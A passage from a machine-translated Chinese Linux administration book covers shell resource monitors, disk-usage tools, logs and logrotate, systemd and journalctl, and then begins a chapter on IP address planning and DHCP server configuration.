MB。正如前面提到的,这是系统实际可以使用的空闲内存数量。 为了得到这个数字,我们从总内存(7923 MB)中减去使用的内存(4186 MB)。 - -同样,第二行`free`下的内存数量是您在想知道还剩下多少内存时所关心的数字。 然而,理解是如何达到这个数字的,以及 Linux 是如何为我们管理内存的也是很重要的。 - -# 使用基于 shell 的资源监视器 - -当您安装带有桌面环境的 Linux 发行版时,可能会有一个与捆绑在一起的图形化系统监视器。 其中流行的是**KSysGuard**和**GNOME 系统监视器**,但还有许多其他的。 在大多数情况下,这些都是很好的工作。 GNOME 系统监视器能够向您显示平均负载、当前正在运行的进程(以及它们的 PID、CPU 百分比、内存等),以及使用了多少磁盘。 许多图形系统监视器也显示这些信息和更多。 虽然这些工具很好,但典型的基于 linux 的网络中的节点并不总是具有可用的图形用户界面。 幸运的是,通过 shell 有许多不同的资源监视工具可用,而且它们根本不需要您运行桌面环境。 其中一些工具非常棒,以至于在某些情况下,您可能会放弃使用图形工具来实现 shell 工具。 这个类别中流行的工具包括`top`、`htop`、`iotop`和`ncdu`。 - -首先,我们需要确保在我们的系统上安装了上述工具。 在大多数情况下,`top`已经为我们安装,但是其他的需要手动安装。 您可以通过运行以下命令来验证`top`是否已安装: - -```sh -which top - -``` - -您应该看到以下输出: - -```sh -/usr/bin/top - -``` - -您可以使用发行版的包管理器来安装其他的包。 对于 Debian,你可以一次性安装它们: - -```sh -# apt-get install htop iotop ncdu - -``` - -不幸的是,在 CentOS 中,并不是所有这些包都在默认存储库中可用。 要在 CentOS 上安装这些工具,首先需要添加`epel`存储库,然后才能安装所有的包。 下面列出了要使用的命令: - -```sh -# yum install epel-release -# yum install htop iotop ncdu - -``` - -请随意尝试这些工具。 `top`和`htop`命令都将在没有根访问权限的情况下运行。 但是,要使其正常工作,您至少需要使用`sudo`运行`iotop`。 `ncdu`命令将作为普通用户发挥作用,但是将被限制为只查看用户可以访问的资源。 让我们仔细看看这些工具。 - -这些工具能为我们做什么呢? 首先,`top`是久经考验的; 如果您不是 Linux 新手,您可能已经使用过。 在查看系统上运行的内容时,`top`是非常常见的。 使用`top`,您将看到各种信息,例如正常运行时间、平均加载、使用的内存、使用的交换、缓存等等。 在屏幕的底部,您将看到一个进程列表。 当您完成时,只需按*Q*退出。 - -![Using shell-based resource monitors](img/B03919_05_05.jpg) - -在 CentOS 系统上运行的 top 命令 - -有几种方式可以运行`top`。 通过不带参数运行`top`,您将看到与本节前面所示类似的屏幕。 您将在上面部分看到系统性能的总结,在下面部分看到各种进程。 但是,如果您已经知道要监视哪个进程,那么可以使用`-p`标志和一个 PID 来只监视该进程。 例如,我们可以使用下面的方法来监控 PID 为`12844`的进程: - -```sh -top -p 12844 - -``` - -默认情况下,`top`命令中的输出每三秒更新一次。 要改变这一点,你可以使用`-d`标志来选择不同的频率(以秒为单位): - -```sh -top -d 2 - -``` - -如果您愿意,频率可以小于一秒: - -```sh -top -d 0.5 - -``` - -如果`top`已经在运行,并且您希望更改它更新的频率,则不必关闭它并重新启动它。 您可以在运行时键入`s`,系统会提示您指定一个新的频率。 - -在`top`中,您可以通过按键盘上的一个键来更改流程列表的排序方式。 如果你输入`P`,你将根据 CPU 使用情况排序; 使用`M`,您可以根据内存使用情况进行排序(这里的大小写问题)。 如果愿意,您甚至可以从这里通过按`k`来终止进程,这将提示您要终止一个 PID。 不过要注意, 当您按下它时,这个默认值是进程列表的顶部,所以请确保在实际输入 PID 之前不要按`Enter`,否则您可能会杀死一个无意的进程。 - -那么,为什么要使用`top`呢? 管理员使用`top`的主要目的是帮助确定导致系统受到 CPU 或内存限制的原因。 大多数情况下,`top`从来不是解决方案,而是根本原因分析的开始。 您可以立即看到哪个进程正在消耗您的 CPU 或 RAM,但根据上下文,您可能还不知道如何纠正这个问题。 使用`top`,你只能发现罪魁祸首。 不幸的是,`top`可能并不总是向您显示根本原因进程,但当您的系统运行缓慢时,它绝对是非常容易查看的第一个地方。 - -要开始进行故障排除,顶部的信息将为您提供一个起点,以便查看正在使用的资源。 在`%Cpu(s)`行上,我们可以立即判断系统是否正在遭受**I/O 等待**(`%wa`字段),这基本上意味着向 CPU 抛出的数量超过了它能够处理的数量。 在这种情况下,任务将备份,平均负载将增加。 空闲时间(或`%id`)是一个越高越好的数字,这意味着您的系统将有空闲的 CPU 时间。 - -在某些情况下,您可能会发现 CPU 占用过多,但在进程列表中没有显示太多。 在这种情况下,可以使用`iotop`来确定系统是否受 I/O 限制。 使用`iotop`(需要根),您可以看到有多少数据正在写入或从磁盘读取。 使用左箭头和右箭头,您可以将焦点从一列更改为另一列,这将根据该列对流程列表排序。 - -![Using shell-based resource monitors](img/B03919_05_06.jpg) - -在 Debian 系统上运行 iotop - -在默认情况下,`iotop`中的进程列表非常拥挤。 你可以通过执行以下命令来精简它: - -```sh -# iotop --only - -``` - -通过附加-`only`,您将只看到发生了实际读和写操作的进程。 在本节的`iotop`屏幕截图中,您可以看到有相当多的进程根本没有发生任何活动。 但是使用`-only`,它可能更容易阅读,因为它清理了输出。 您可以在`iotop`运行时激活`-only`,只需按键盘上的*O*即可。 此外,另一个有用的键盘快捷键是可以用`r`改变任何列的排序顺序。 - -在这一节中,接下来是`htop`。 虽然`top`是在 Linux 系统上查看系统资源的可靠标准,但`htop`正在迅速流行起来。 - -![Using shell-based resource monitors](img/B03919_05_07.jpg) - -运行中的 htop 命令 - -`htop`的基本思想与`top`相同——`top`区域显示当前的 CPU 和内存使用情况,而底部部分提供进程列表。 但`htop`的不同之处在于它呈现这些信息的方式,它更易于阅读,并为 CPU 使用情况的图表提供了一个区域。 除此之外,它还允许您轻松地向进程发送特定的信号。 前面,我们介绍了可以用来结束进程的各种信号。 在这里,我们可以看到同样的概念图解。 要向进程发送信号,请使用键盘上的上下箭头来突出显示进程,然后按*F9*选择特定的信号。 默认选择`SIGTERM`,但是您也可以向进程发送任何其他信号。 - -![Using shell-based resource monitors](img/B03919_05_08.jpg) - -准备向 htop 中的进程发送信号 - -`htop`中的进程列表可以像`iotop`一样排序。 一开始可能不太明显的一点是`htop`支持鼠标输入。 虽然可以使用方向键选择列,但也可以单击它们。 - -`htop`的另一个好处是它的可定制性。 虽然默认布局对于大多数用例来说都很不错,但是您可以添加额外的仪表。 为此,按*F2*或点击**设置**,你将进入一个菜单,你可以在当前视图中添加或删除仪表。 在`Available Meters`下,突出要添加的内容,按*F5*将其添加到左列,或按*F6*将其添加到右列。 你可能会发现有用的一个仪表是`CPU average`。 一旦你添加了一个新的仪表,你可以通过突出它并按*F7*向上移动或*F8*向下移动来重新定位它。 完成后按*Esc*返回主界面。 这些更改会自动保存,所以下次您打开`htop`时,您的自定义布局将保持不变。 - -# 扫描已用存储器 - -几乎每个人都经历过这样一种情况:磁盘空间似乎消失了,没有明确的迹象表明是什么占用了所有的空间。 有多种方法可以排除正在吞噬您的硬盘空间作为早餐的特定内容。 为了查看已挂载文件系统及其使用和空闲空间的概览,请执行`df`命令。 使用`-h`和`df`对大多数人来说更容易阅读,因为它将以 MB 和 GB 显示使用的空间: - -```sh -df -h - -``` - -有了这些信息,你就能准确地知道哪些设备正在被使用,以及你的注意力应该集中在哪些容量上。 但是,`df`命令实际上并没有告诉您是什么占用了所有空间; 它只给你一个当前形势的概览。 - -下一个是`du`。 出于相同的原因,也可以将`du`命令与`-h`配对使用,该命令显示一个目录中使用了多少空间。 您所需要做的就是将`cd`转到您希望检查的目录中,然后运行`du -h`。 为了更容易读取输出,在一个目录中运行以下命令: - -```sh -du -hsc * - -``` - -分解这个命令,我们有已经知道的`-h`参数,使得输出更易于阅读。 参数`-s`只显示一个总计,`-c`将在最后为您显示一个总计。 因为我们在命令中使用了星号,所以它将对当前目录中包含的每个子目录运行`du -hsc`。 通过这个命令,您可以确定当前工作目录中的哪些目录占用了最多的空间。 - -然而,还有比这更好的。 尽管`du -hsc *`非常有用,但您仍然必须为每个子目录手动运行它。 有一些方法可以使用它进行更深入的扫描,但`du`仅用于概述摘要。 更好的方法是安装`ncdu`。 `ncdu`命令不是图形实用程序,因为它不需要图形桌面环境。 但它很容易使用; 您可能认为它实际上是一个图形工具。 一旦在一个特定的目录上启动,它就会进行深入研究,并允许您从那个点开始实际遍历文件系统树,并跟踪使用了所有空间的内容,一直到罪魁祸首。 - -您不需要是根用户或具有`sudo`权限才能使用`ncdu`,但请记住`ncdu`只能扫描其调用用户具有访问权限的目录。 在某些情况下,您可能需要作为根用户运行它来解决这个问题。 `ncdu`的基本用法很简单; 调用`ncdu`,并提供要扫描的路径。 例如,你可以扫描你的整个文件系统或它的一部分: - -```sh -ncdu / - -``` - -![Scanning used storage](img/B03919_05_09.jpg) - -使用 ncdu 扫描 CentOS 系统的根文件系统 - -重要的是要注意,在默认情况下`ncdu`将扫描您提供给它的目录中的所有内容,包括可能挂载的所有内容。 例如,可以挂载 NFS 共享或外部磁盘,但您可能不希望外部挂载影响结果。 幸运的是,这很简单,只要向`ncdu`显示`-x`选项,它会告诉它忽略你在运行扫描时安装的任何东西: - -```sh -ncdu -x / - -``` - -扫描完成后,您可以通过按键盘上的上下键遍历结果,然后按*Enter*切换到一个目录。 在`ncdu`内部,您甚至可以删除文件,而不需要运行任何额外的命令,只需简单地按*D*。 这样,您就可以使用相同的工具进行审计和清理。 - -您可以自由地在自己的系统上运行`ncdu`,并询问您的空闲空间去了哪里。 除非你真的开始删除东西,否则这是无害的,而且会显示一些你可能想要清理的潜在项目。 在实际的服务器上,`ncdu`在诊断磁盘空间的去向时非常有用。 - -# 日志介绍 - -默认情况下,Linux 几乎记录所有内容。 当出现问题时,这对于开发根本原因分析非常重要。 当您在生产服务器上遇到问题时,您需要做的就是确定问题开始的时间,然后读取日志文件,了解在此期间系统上发生的事情的类型。 Linux 日志是非常有用的。 - -但是现在,Linux 处理日志记录的方式正在改变。 随着 systemd 的兴起(它现在是大多数 Linux 发行版的默认 init 系统),它接管了几乎所有的事务,包括日志记录。 在过去,每当您想要读取日志时,您都会进入`/var/log`,这是一个包含各种纯文本格式日志文件的目录。 在 Debian 和 CentOS 上,你仍然可以在`/var/log`中找到日志,所以你仍然可以像我们以前一样利用它们来进行故障排除。 但目前还不确定它还能保留多久。 - -许多人可能认为 systemd 接管日志记录是件坏事。 毕竟,让 init 系统负责这么多的系统维护工作,会让它有更多的工作要执行,这可能会让它太过紧张。 但是 syslog(前一种方法)的一个问题是,在如何创建或命名日志方面,从一个发行版到另一个发行版没有一致性。 例如,Debian 系统包括`auth.log`,而 CentOS 没有。 都有`dmesg`和只有 CentOS 有一个`boot.log`文件。 这使得故障排除成为一个复杂的环境。 - -systemd 方法(我们将在后面讨论)提供了在不同发行版之间更加一致的方法。 因此,虽然 systemd 在系统中承担了大量的责任,但它的范围可能确实很窄,一致性绝对是受欢迎的。 - -Debian 和 CentOS 都有一个日志文件,当用户登录到系统时使用,即使她或他通过 SSH 登录。 在 CentOS 中,该日志位于`/var/log/secure`。 Debian 使用`/var/log/auth.log`来实现这个目的。 如果您需要知道谁在何时登录了您的系统,那么您应该查看这些日志以便找出答案。 在这两个平台上,您都可以找到`/var/log/messages`,其中包含大量有用信息,例如进程的输出、网络激活、服务启动等等。 当谈到硬件故障排除时,`/var/log/dmesg`是一个值得关注的地方。 事实上,`/var/log/dmesg`有自己的命令。 在系统的任何地方键入`dmesg`(即使当前工作目录不是`/var/log`),也会显示相同的日志。 - -使用`tail -f`可以很容易地接近实时地跟踪`/var/log`中的日志文件。 `tail`的`-f`标志并不特别局限于日志文件。 它允许您在写入日志文件时显示日志文件的输出。 在对系统进行故障诊断时,`tail -f`是必不可少的。 例如,如果您有一个无法登录系统的用户,您可以在 Debian 系统上运行以下操作,以便在他们尝试登录时监视`auth.log`文件。 这样,你就可以看到系统为他们失败的登录尝试注册的错误信息: - -```sh -# tail -f /var/log/auth.log - -``` - -从那里的,随着`auth.log`的更新,结果将立即显示在您的终端中。 结束时,只需按*Ctrl*+*C*停止输出。 您可以对系统中的任何日志或任何文本文件执行此操作。 这对于许多故障诊断策略非常有用,因为您可能想要调查的大多数流程都会将其活动记录到至少一个日志中。 - -# 使用 logrotate 维护日志大小 - -正如您所知道的,当涉及故障排除时,日志至关重要。 Linux 通常在记录您想要知道的几乎所有内容方面做得很好,但是随着时间的推移,这些日志实际上会增加。 在生产服务器上,如果不加以检查,日志文件的增长失控并占用服务器的所有空闲空间是一个非常现实的问题。 除了占用磁盘空间外,在文本编辑器中很难打开一个巨大的日志文件以查看其内容,这使得故障诊断更加困难。 超过 500gb 的日志文件不仅会占用大量的空间; 如果您试图打开它,可能会导致系统挂起,并且在日志文件达到非常大的大小后将其传输到另一个服务器进行分析也是不现实的。 - -在大多数情况下,在更新的 Linux 发行版上,过多的日志文件并不像过去那样是一个问题。 有了 syslog,就没有自动维护。 如果您既没有自己清理日志,也没有设置一些东西来为您旋转日志,那么您肯定需要关注它们。 现在,**期刊**为我们处理这个问题。 但是对于 Debian 和 CentOS,这可能是一个混合的包。 这是因为,尽管 systemd 日志为我们在最流行的 Linux 发行版的更新版本上记录日志,但出于兼容性考虑,syslog 仍然被使用。 因此,我们仍然需要处理日志旋转,即使所有的部分都已经准备好了。 日志是未来的趋势,尽管 syslog 目前仍在 Enterprise Linux 发行版中用于兼容性。 - -日志旋转是将现有的日志文件重命名,并让该进程写入一个全新的空日志文件的过程。 以前的日志文件都可以保留,如果愿意,也可以只保留其中的一部分。 对于企业系统来说,拥有特定的保留策略并不罕见。 压缩以前的日志是一种常见的做法,这会节省大量磁盘空间。 这就是 logrotate 发挥作用的地方。 我们可以在服务器上运行这个过程来自动交换日志文件,并(作为一个选项)压缩备份副本。 - -在设计 Linux 网络时,重要的是要理解每个服务器需要运行哪些进程,并从一开始就考虑这些进程的日志记录需求。 在服务器进入生产环境之前安装和配置 logrotate 是一种很好的做法。 如果服务器在生产过程中耗尽了可用空间,绝对不是一种好的体验,首先要知道正在运行的进程创建了哪些日志文件,并准备好处理它们,这是一个好主意。 在配置日志记录时,重要的是要考虑公司的保留需求(如果有的话)。 - -在我的实验室使用的 CentOS 系统上,`logrotate`默认安装为。 Debian 也安装了它。 要在您的系统上验证这一点,只需运行以下命令: - -```sh -which logrotate - -``` - -在 CentOS 上,`logrotate`二进制位于`/usr/sbin`,而 Debian 将其存储在`/usr/sbin`。 如果`which`命令没有显示输出,您可能需要使用发行版的包管理器来安装`logrotate`包。 - -在 Debian 和 CentOS 的默认安装中,`logrotate`已经被配置为每天运行。 当它这样做时,它检查`/etc/logrotate.d`目录以寻找指令,然后执行它们。 设置`logrotate`规则的配置相当简单。 如果您需要示例语法,请参考您自己的系统。 默认情况下,会为您创建几个`logrotate`脚本。 一个例子就是 Debian 的包管理器`apt`。 当你在 Debian 系统上安装包时,它会被记录在下面的地方: - -```sh -/var/log/apt/history.log - -``` - -如果您查看此文件,您应该看到您或其他用户最近执行的包安装的结果。 默认情况下,Debian 系统上存在以下文件来处理该日志的旋转: - -```sh -/etc/logrotate.d/apt - -``` - -在 Debian 8 上,该文件包含以下内容: - -```sh -/var/log/apt/term.log { - rotate 12 - monthly - compress - missingok - notifempty -} - -/var/log/apt/history.log { - rotate 12 - monthly - compress - missingok - notifempty -} - -``` - -如您所见,这个用于`logrotate`的配置文件不仅处理我们前面提到的`history.log`,而且还处理`term.log`。 该配置的每个部分都以要检查的`logrotate`路径开始,后面是括号内的各个选项。 - -### 注意事项 - -`term.log`文件显示了运行 apt 实例时所看到的实际终端输出。 - -在选项中,我们可以看到`rotate 12`,这意味着最多将保留 12 个备份日志文件。 接下来,我们将看到`monthly`,它详细描述了日志实际旋转的频率。 尽管`logrotate`被默认配置为每天运行,但它将遵循各个配置中包含的指令,并且只有在满足条件时才进行旋转。 `compress`选项告诉`logrotate`压缩备份的文件,这在大多数情况下可能是您想要的。 与未压缩的实时日志相比,压缩的日志文件占用的空间非常小,因此这是需要考虑的问题。 `missingok`告诉`logrotate`即使遇到丢失的日志文件也要继续运行。 否则,它会显示一个错误。 最后,我们有`notifempty`,它简单地告诉`logrotate`如果日志文件是空的,就不要去处理它。 - -### 注意事项 - -您可以通过阅读其手册页来查看`logrotate`配置选项的完整列表: - -```sh -man logrotate - -``` - -虽然对于 CentOS 和 Debian 附带的一些服务,`logrotate`有一些相当不错的默认配置,但是您需要考虑为您所设置的任何新服务创建配置。 要做到这一点,最简单的方法是遵循示例文件中显示的格式,这些文件已经存储在`/etc/logrotate.d`中。 这很简单,只要在配置块的开头写上想要`logrotate`处理的文件的路径,后面加上花括号中的选项。 不需要重新启动服务,也不需要使用特殊命令激活新配置。 下次运行`logrotate`时,它将检查`/etc/logrotate.d`目录中的新配置,如果没有错误就运行它们。 - -# 了解 systemd init 系统 - -如今,在相当多的 Linux 发行版中,init 系统已经切换到 systemd。 Debian 和 CentOS 分别从 Version 8 和 Version 7 开始就是这样,但其他发行版,如 Fedora、Ubuntu、Arch Linux 和其他发行版也已经发生了转变。 虽然一些管理员更喜欢 sysvinit,它是以前占主导地位的 init 系统,但是 systemd 提供了比旧系统更多的改进。 - -使用 systemd,您用来启动进程的命令现在有所不同,尽管大多数旧的命令(目前)仍然有效。 在 Debian 7 系统上使用 sysvinit,您可以使用以下命令重启 Samba: - -```sh -/etc/init.d/samba restart - -``` - -然而,在 systemd 中,我们现在使用`systemctl`到`start`、`stop`或`restart`一个进程: - -```sh -# systemctl restart samba - -``` - -sysvinit 管理进程的风格在 CentOS 和 Debian 中是一样的,现在仍然是一样的。 在撰写本文时,两者都已切换到 systemd。 但是旧的`/etc/init.d/ restart|stop|start`命令在 Debian 和 CentOS 的当前版本中仍然可以使用,但是没有使用 sysvinit(已经不存在了),这些命令只是被转换为 systemd 命令。 如果您要运行旧的 sysvinit 样式命令,您可能会在输出中看到一些文本,通知您系统正在使用`systemctl`。 虽然这对于兼容性来说很好(依赖于 sysvinit 样式命令的脚本可能仍然可以工作),但这不会永远存在。 学习 systemd 非常重要,因为一旦移除 sysvinit 兼容层,您就不能再依赖旧的方法了。 幸运的是,systemd 的基础知识很快就能学会。 - -要用 systemd 启动一个进程,执行`systemctl`,然后执行您想要执行的操作,再执行您想要对其执行操作的进程。 正如前面在 Samba 中所做的那样,我们执行了`systemctl restart samba`。 但是我们也可以使用`systemctl stop samba`停止 samba,或者我们可以通过执行`systemctl start samba`作为根来启动 samba。 - -systemd init 系统还允许您启用或禁用一个进程。 启用的进程将在系统启动时启动。 一个被禁用的进程只有在您手动启动时才会启动。 根据分布,进程(或单元,如 systemd 调用它们)在默认情况下可能不启用。 例如,在 CentOS 上,您可以安装 Samba,但是除非您告诉它这样做,否则它不会自动启动。 在 Debian 系统上,很大程度上假定既然您安装了什么东西,您可能希望它运行,因此它将在默认情况下启用新安装的进程。 不管怎样,假设一个进程会自动从 systemd 开始都不是一个好主意。 要找到答案,使用以下命令: - -```sh -systemctl status - -``` - -![Understanding the systemd init system](img/B03919_05_10.jpg) - -使用 systemctl 检查一个单元的状态 - -使用`systemctl`检查状态可以提供大量有用的信息,通常比使用 sysvinit 检查进程状态要多。 首先,您可以查看一个单元是否正在运行。 在前面的屏幕截图中,我们可以看到`nfs-kernel-server`正在运行。 此外,status 还给我们提供了几行日志输出,所以如果在启动一个单元时出现任何问题,我们可能会在那里发现错误。 - -您可能想知道如何确定一个单元是否配置为在系统启动时自动启动。 Systemd 也让这变得简单。 我们可以使用`is-enabled`和`systemctl`来确定该单元是否启用。 例如,为了确保`ssh`守护进程被配置为自动启动,我们将在 Debian 系统上发出以下命令: - -```sh -systemctl is-enabled ssh - -``` - -要显示系统中的所有单元以及它们是如何配置的,运行以下命令: - -```sh -systemctl list-unit-files - -``` - -要启用一个单元,将`enable`作为参数传递给`systemctl`。 类似地,您可以对`disable`执行同样的操作,以确保单元不会在引导时启动。 因此,在 Debian 系统上,`systemctl enable ssh`将配置`ssh`守护进程在引导时启动,而`systemctl disable ssh`将确保它不在引导时启动。 CentOS 也一样,只是用`sshd`代替`ssh`。 虽然不同的单元名称在 Linux 系统之间可能很烦人,但请始终记住,您可以使用前面提到的`systemctl list-unit-files`来查看注册到系统的单元列表以及它们的名称。 - -简而言之,这几乎就是使用`systemctl`管理 Linux 系统上的进程(单元)所需的所有知识。 在大多数情况下,启动、停止、启用和禁用单元涵盖了大多数用例。 有关更高级的用法,请参阅`systemctl`的手册页。 - -### 注意事项 - -Systemd 也处理电源管理。 您可以使用选项`reboot`、`poweroff`和`suspend`以及`systemctl`来启动、关闭或暂停整个系统。 - -# 理解系统日志 - -systemd 的另一个组件是日志记录,它处理日志记录。 日志的 systemd 方法支持二进制日志,这与以前使用的简单文本文件的方法完全不同。 由于许多采用了 systemd 的发行版仍处于过渡阶段,您可能仍然会在`/var/log`中看到文本文件日志,就像在`/etc/init.d`中看到初始化脚本一样。 我们总是建议在可能的情况下使用 systemd 方法,因为这是当前发行版正在走向的解决方案。 - -日志日志可以通过`journalctl`命令查看。 此外,可以通过`journalctl`命令使用各种选项来缩小输出范围或执行某些操作。 例如,可以使用`journalctl -f`跟踪系统上的新日志输出,类似于使用`tail -f`对存储在`/var/log`中的日志文件执行同样的操作。 此外,您可以使用`journalctl`来显示特定 PID 的输出。 要做到这一点,只需使用`journalctl`、`PID=`和 PID。 例如,要查看 PID`11753`的输出,可以执行以下命令: - -```sh -journalctl PID=11753 - -``` - -此外,你可以使用单元的名称来显示它的输出: - -```sh -journalctl -u sshd - -``` - -虽然`journalctl`使用起来相对简单,但是对于习惯于以前的 syslog 日志风格的用户来说,他们会很高兴地知道,您仍然可以(至少现在)导航到`/var/log`并在那里阅读日志。 例如,`dmesg`命令和日志仍然有效。 但是,虽然`journalctl`和二进制日志的概念可能需要一段时间才能习惯,但我相信通过实践您会发现它实际上非常方便。 - -# 总结 - -在本章中,我们介绍了管理系统资源和查看日志的各种方法。 我们从管理流程的概述开始,并讨论了平均负载。 然后,我们讨论了监视系统的内存。 此外,我们还研究了基于 shell 的系统监视器,如`top`和`htop`。 我们还讨论了磁盘使用情况和`ncdu`,这是一个允许扫描文件系统并以一种易于使用的方式查看其使用情况的整洁工具。 我们还讲了`logrotate`和`systemd`。 - -在下一章中,我们将看看如何管理基于 linux 的网络。 这将包括配置 DHCP、DNS、NTP,以及使用`exim`在网络上发送电子邮件和发布共享服务。** \ No newline at end of file diff --git a/docs/master-linux-net-admin/06.md b/docs/master-linux-net-admin/06.md deleted file mode 100644 index b717b24c..00000000 --- a/docs/master-linux-net-admin/06.md +++ /dev/null @@ -1,500 +0,0 @@ -# 六、配置网络服务 - -到目前为止,我们已经配置了节点,并允许它们彼此进行实际通信。 我们可以访问节点来远程管理它们,在它们之间传输文件,监视它们的资源,并执行基本的网络连接。 在这一章中,我们将设计我们的网络使用的 IP 地址方案,如,并设置所需的服务,将计划付诸实施。 这将包括讨论设置和配置**动态主机控制协议**(**DHCP**),域名服务、**和**【显示】网络时间协议**(【病人】**国家结核控制规划)。**** - -在本章中,我们将介绍: - -* 规划 IP 地址布局 -* 安装和配置 DHCP 服务器 -* 安装配置 DNS 服务器 -* 搭建内部 NTP 服务器 - -# 规划 IP 地址布局 - -在您的网络上实现任何东西之前,花时间想出一个伟大的计划是一个伟大的想法,但 IP 地址方案尤其重要。 接受默认设置并让每个人都快速启动和运行太容易了。 对于一些小公司来说,路由器(或任何默认处理 DHCP 的设备)提供的默认 IP 地址布局可能就足够了。 但在未来,随着公司的成长,它需要改变。 为潜在增长做好准备至关重要。 实现 IP 地址方案很容易,但在已经推出的网络上更改这个方案是一个巨大的挑战。 总是花时间做相应的计划。 - -确定 IP 地址方案的第一个考虑因素是需要向哪些类型的机器提供地址。 通常,您需要处理服务器、工作站和打印机。 但现在,我们的网络上也有其他设备,比如 IP 电话、公司发布的电话、会议系统、平板电脑等等。 当你开始把所有这些设备加在一起时,一个典型的 24 位网络有 254 个可用地址,即使对一个小公司来说,似乎也不算大。 更糟糕的是,一些设备(如笔记本电脑)有多个网络接口卡。 如果你把所有这些放在一起,你会发现这 254 个地址很快就会用完。 - -有多个子网肯定会有帮助。 通过子网,您可以为每种类型的服务创建单独的网络,每个网络都有自己的一组 IP 地址。 例如,您可以将服务器放在一个子网中,将打印机放在另一个子网中,并将终端用户工作站放在它们自己的子网中。 不必在这三种类型的设备之间分割单个 24 位子网,您可以将它们分散到几个网络上。 我们将在[第 8 章](08.html "Chapter 8. Understanding Advanced Networking Concepts")、*理解高级网络概念*中更详细地介绍子网,但现在隔离网络几乎总是一个好主意,甚至超出了 IP 地址的原因。 - -另一个要考虑的因素是限制您的**广播域**。 单个 24 位网络(通常是网络设备的默认值)是单个广播域。 简而言之,一个设备可以与网络上的另一个设备进行通信,而不需要首先路由,并共享相同的广播域。 如果你只有几个设备,这真的不重要(除非一个设备处理大量的流量)。 但在大多数网络中,分割广播域可以提高性能。 如果你有一个路由器来分割你的子网,你就有效地分割了你的广播域。 因此,如果单个节点在它自己的子网中,它将更难以饱和您的网络。 然而,没有完美的解决方案,单个广播域可能会变得饱和。 - -在规划 IP 方案时可以使用的一个有用工具是`ipcalc`实用工具。 实用程序可以帮助您了解每个方案可以提供多少 IP 地址。 这个实用程序可以通过 Debian 中的`apt-get`获得,而且它不需要任何额外的存储库。 虽然 CentOS 中内置了`ipcalc`命令,但这不是一回事,也没有什么用处。 如果可能的话,我会坚持使用 Debian 版本。 要使用它,只需将`ipcalc`与您正在考虑使用的网络一起执行。 例如,您可以运行以下测试: - -```sh -ipcalc 10.10.96.0/22 - -``` - -![Planning your IP address layout](img/B03919_06_01.jpg) - -Ipcalc 显示 10.10.9.60/22 内部网络的子网信息 - -在前面的示例中,我们可以看到,如果我们选择`10.10.96.0/22`方案,我们将拥有`1022`允许的 IP 地址和`255.255.252.0`子网掩码,这将是 a 类私有网络。 虽然您将在本书后面学习更多关于子网的知识,但`ipcalc`实用程序将方便您玩和确定具体的 IP 布局将如何看。 - -关于 IP 地址的另一个值得讨论的话题是 IPv4 和 IPv6。 很长一段时间以来,IPv4 已经足够满足每个人的需求。 不幸的是,公共互联网上的 IPv4 地址已经开始耗尽(在许多情况下,已经耗尽)。 IPv6 的好处是有很多可用的 IP 地址; 我们完全不可能再用完。 IPv6 还有一个安全方面的好处,因为地址空间太大了,目标被抽象了(本质上是通过隐藏实现安全性)。 - -考虑到这一点,您可能会试图在网络中通过 IPv4 启用 IPv6 地址。 然而,我的建议是,除非你有一个很好的理由这样做,否则不要麻烦。 IPv4 地址耗尽只会影响公共互联网,不会影响您的内部网络。 虽然可以在内部推出 IPv6,但这样做没有任何好处。 鉴于 IPv4 有超过 40 亿个可用地址,你需要相当多的设备才能证明 IPv6 的合理性。 另一方面,IPv6 对电信来说肯定是有用的(并且最终是必需的)。 这对正在学习思科考试的人也很有用,因为理解这个主题是必需的。 但是出于本书和设置 Linux 网络的目的,IPv6 并不能证明管理开销是合理的。 - -总之,提前计划是很重要的。 IPv4 已经足够满足我们的需求,将我们的网络划分为多个子网是一个好主意(即使你认为你的网络永远不会超过 254 个地址)。 大计划; 即使在最坏的情况下,您也可能永远不会使用您配置的所有 IP 地址。 但是,即使您不打算使用大量的 IP 地址,如果您希望扩展您的网络,拥有它们是一个好主意,并且更容易在以后实现。 根据我的经验,我实际上有过重新配置公司网络的任务,这不是为了增长而设计的。 虽然这绝对是一次学习的经历,但并不令人愉快。 - -# 安装配置 DHCP 服务器 - -到目前为止,在本章的中,我们讨论了如何为你的网络创建布局。 在本节中,我们将实施该计划。 这里,我们将在 Debian 或 CentOS 机器上设置一个 DHCP 服务器,并将其配置为为我们的网络提供 IPv4 地址。 那么,让我们开始吧! - -首先,决定哪个发行版将运行您的 DHCP 服务器。 选择 Debian、CentOS 或其派生产品都没有关系。 每个版本的配置都是相同的,主要的区别是您需要安装的包的名称和启动的守护进程。 使用 Debian,您将安装`isc-dhcp-server`包,而您将安装`dhcp`用于 CentOS。 Debian 将为您启用 DHCP 守护进程(`isc-dhcp-server`),但它不会启动,因为我们还没有配置它。 CentOS 将不会尝试启动或启用其 DHCP 守护进程(`dhcpd`)。 - -对于 Debian 和 CentOS,我们需要编辑的配置文件位于`/etc/dhcp/dhcpd.conf`。 为了设置我们的 DHCP 服务器,我们需要编辑这个文件,然后启动或重启这个守护进程。 继续,用您最喜欢的文本编辑器打开这个文件。 如果您在 Debian 上安装 DHCP 服务器,您将注意到提供了一个默认的`/etc/dhcp/dhcpd.conf`文件,其中包含相当数量的示例配置。 另一方面,CentOS 几乎给了你一个空白文件。 出于我们的目的,我们将从头创建一些配置。 对于 Debian,您可以删除或备份默认配置文件。 - -以下是 DHCP 配置`/etc/dhcp/dhcpd.conf`文件的示例。 在本例中,我们在演示`ipcalc`实用程序(`10.10.96.0/22`)时使用了与前面标识的相同的网络。 这个网络给了我们几个可以使用的子网,但你不必继续使用这个方案; 请随意调整以适应您的环境。 - -```sh -default-lease-time 86400; -max-lease-time 86400; -option subnet-mask 255.255.252.0; -option broadcast-address 10.10.99.255; -option domain-name "local.lan"; -authoritative; -subnet 10.10.96.0 netmask 255.255.252.0 { - range 10.10.99.100 10.10.99.254; - option routers 10.10.96.1; - option domain-name-servers 10.10.96.1; -} - -``` - -那么,让我们逐行检查这个构型。 - -首先,我们有以下两行: - -```sh -default-lease-time 86400; -max-lease-time 86400; - -``` - -在这里,我们正在确定我们希望 DHCP 租期持续多久。 在实践中,当一个节点请求一个 IP 地址时,它的客户端将与这个 IP 地址一起获得一个租约。 这意味着 IP 地址只在特定的时间段内有效。 这里,我们将租赁时间设置为`86400`,这意味着我们的租赁时间为一天,因为它是以秒为单位引用的。 这个数字我们列出了两次,分别是默认和最大租赁时间。 如果没有指定请求保持 IP 地址的特定时间量,则向任何客户端提供`default-lease-time`。 `max-lease-time`意味着如果客户端请求保持 IP 地址超过这个时间,它将不被允许这样做。 